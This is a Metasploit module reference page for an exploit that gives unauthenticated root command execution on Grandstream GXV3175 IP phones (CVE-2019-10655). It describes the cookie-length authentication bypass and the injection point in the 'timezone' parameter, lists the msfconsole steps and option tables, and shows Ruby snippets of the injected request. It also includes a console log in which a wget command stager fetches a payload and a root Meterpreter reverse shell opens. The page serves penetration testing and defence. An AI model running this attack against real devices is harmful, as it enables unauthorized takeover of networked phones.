Grandstream GXV3175 'settimezone' Unauthenticated Command Execution - Metasploit


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Module Overview


Name: Grandstream GXV3175 'settimezone' Unauthenticated Command Execution
Module: exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
Source code: modules/exploits/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec.rb
Disclosure date: 2016-09-01
Last modification time: 2022-01-19 00:04:15 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-10655

This module exploits a command injection vulnerability in Grandstream GXV3175 IP multimedia phones. The 'settimezone' action does not validate input in the 'timezone' parameter allowing injection of arbitrary commands. A buffer overflow in the 'phonecookie' cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length. This module was tested successfully on Grandstream GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
msf exploit(grandstream_gxv3175_settimezone_unauth_cmd_exec) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits a command injection vulnerability in Grandstream GXV3175 IP multimedia phones. The 'settimezone' action does not validate input in the 'timezone' parameter allowing injection of arbitrary commands.

A buffer overflow in the 'phonecookie' cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length.

This module was tested successfully on Grandstream GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19.

Verification Steps


  1. msfconsole
  2. use exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
  3. set rhosts [IP]
  4. set lhost [IP]
  5. run
  6. You should get a session

Scenarios


msf6 > use exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec 
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109
rhosts => 10.1.1.109
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110 
lhost => 10.1.1.110
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > run

[*] Started reverse TCP handler on 10.1.1.110:4444 
[*] Using URL: http://0.0.0.0:8080/JF62dexHKN8b
[*] Local IP: http://10.1.1.110:8080/JF62dexHKN8b
[*] Client 10.1.1.109 (Wget/1.10.1) requested /JF62dexHKN8b
[*] Sending payload to 10.1.1.109 (Wget/1.10.1)
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Meterpreter session 1 opened (10.1.1.110:4444 -> 10.1.1.109:39371 ) at 2022-01-08 13:27:44 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo 
Computer     : 10.1.1.109
OS           :  (Linux 2.6.32_gxv3170v2)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter >

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Msfconsole Usage


Here is how the linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec

[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > show info

       Name: Grandstream GXV3175 'settimezone' Unauthenticated Command Execution
     Module: exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-09-01

Provided by:
  alhazred
  Brendan Scarvell
  bcoles <[email protected]>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    80               yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  This module exploits a command injection vulnerability in 
  Grandstream GXV3175 IP multimedia phones. The 'settimezone' action 
  does not validate input in the 'timezone' parameter allowing 
  injection of arbitrary commands. A buffer overflow in the 
  'phonecookie' cookie parsing allows authentication to be bypassed by 
  providing an alphanumeric cookie 93 characters in length. This 
  module was tested successfully on Grandstream GXV3175v2 hardware 
  revision V2.6A with firmware version 1.0.1.19.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-10655
  https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=23920
  https://github.com/dirtyfilthy/gxv3175-remote-code-exec/blob/master/modules/exploits/linux/http/grandstream_gxv3175_cmd_exec.rb

Module Options


This is a complete list of options available in the linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec exploit:

msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > show options

Module options (exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses
                                       .
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Payload options (linux/armle/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec exploit:

msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > show advanced

Module advanced options (exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec):

   Name                    Current Setting                                 Required  Description
   ----                    ---------------                                 --------  -----------
   CMDSTAGER::DECODER                                                      no        The decoder stub to use.
   CMDSTAGER::FLAVOR       wget                                            no        The CMD Stager to use. (Accepted: auto, wget)
   CMDSTAGER::SSL          false                                           no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                         no        Writable directory for staged files
   ContextInformationFile                                                  no        The information file that contains context information
   DOMAIN                  WORKSTATION                                     yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                            no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                           no        Disable the handler code for the selected payload
   EXE::Custom                                                             no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                           no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                           no        Use the default template in case the specified one is missing
   EXE::Inject             false                                           no        Set to preserve the original EXE function
   EXE::OldMethod          false                                           no        Set to use the substitution EXE generation method.
   EXE::Path                                                               no        The directory in which to look for the executable template
   EXE::Template                                                           no        The executable template file name.
   EnableContextEncoding   false                                           no        Use transient context when encoding payloads
   FingerprintCheck        true                                            no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                       no        HTTP connection and receive timeout
   HttpPassword                                                            no        The HTTP password to specify for authentication
   HttpRawHeaders                                                          no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                           no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                         no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                           no        Show HTTP headers only in HttpTrace
   HttpUsername                                                            no        The HTTP username to specify for authentication
   ListenerComm                                                            no        The specific communication channel to use for this service
   MSI::Custom                                                             no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                           no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                               no        The directory in which to look for the msi template
   MSI::Template                                                           no        The msi template file name
   MSI::UAC                false                                           no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                               no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                           no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                            yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Ac
                                                                                     cepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                           no        Return a robots.txt file if asked for one
   URIHOST                                                                 no        Host to use in URI (useful for tunnels)
   URIPORT                                                                 no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1)  no        The User-Agent header to use for all requests
                            AppleWebKit/605.1.15 (KHTML, like Gecko) Vers
                           ion/15.0 Safari/605.1.15
   VERBOSE                 false                                           no        Enable detailed status messages
   WORKSPACE                                                               no        Specify the workspace for this module
   WfsDelay                2                                               no        Additional delay in seconds to wait for a session

Payload advanced options (linux/armle/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec module can exploit:

msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec exploit:

msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                    normal  No     Interact with Established SSH Connection
   4   payload/linux/armle/adduser                                     normal  No     Linux Add User
   5   payload/linux/armle/exec                                        normal  No     Linux Execute Command
   6   payload/linux/armle/meterpreter/bind_tcp                        normal  No     Linux Meterpreter, Bind TCP Stager
   7   payload/linux/armle/meterpreter/reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Stager
   8   payload/linux/armle/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/armle/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/armle/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/armle/shell/bind_tcp                              normal  No     Linux dup2 Command Shell, Bind TCP Stager
   12  payload/linux/armle/shell/reverse_tcp                           normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   13  payload/linux/armle/shell_bind_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   14  payload/linux/armle/shell_reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

phonecookie authentication bypassed successfully.


Here is a relevant code snippet related to the "phonecookie authentication bypassed successfully." error message:

71:	        'timezone' => ''
72:	      }
73:	    )
74:	
75:	    if res && res.code == 200 && res.body.to_s.include?('Response=Success')
76:	      return CheckCode::Detected('phonecookie authentication bypassed successfully.')
77:	    end
78:	
79:	    CheckCode::Safe
80:	  end
81:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

87:	        'action' => 'settimezone',
88:	        'timezone' => "`#{cmd}`"
89:	      }
90:	    )
91:	    unless res
92:	      fail_with(Failure::Unreachable, 'Connection failed')
93:	    end
94:	    unless res.code == 200
95:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
96:	    end
97:	    unless res.body.to_s.include?('Response=Success')

Unexpected reply (HTTP <RES.CODE>)


Here is a relevant code snippet related to the "Unexpected reply (HTTP <RES.CODE>)" error message:

90:	    )
91:	    unless res
92:	      fail_with(Failure::Unreachable, 'Connection failed')
93:	    end
94:	    unless res.code == 200
95:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
96:	    end
97:	    unless res.body.to_s.include?('Response=Success')
98:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
99:	    end
100:	  end

Unexpected reply (<RES.BODY.LENGTH> bytes)


Here is a relevant code snippet related to the "Unexpected reply (<RES.BODY.LENGTH> bytes)" error message:

93:	    end
94:	    unless res.code == 200
95:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
96:	    end
97:	    unless res.body.to_s.include?('Response=Success')
98:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
99:	    end
100:	  end
101:	
102:	  def exploit
103:	    execute_cmdstager(

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • alhazred
  • Brendan Scarvell
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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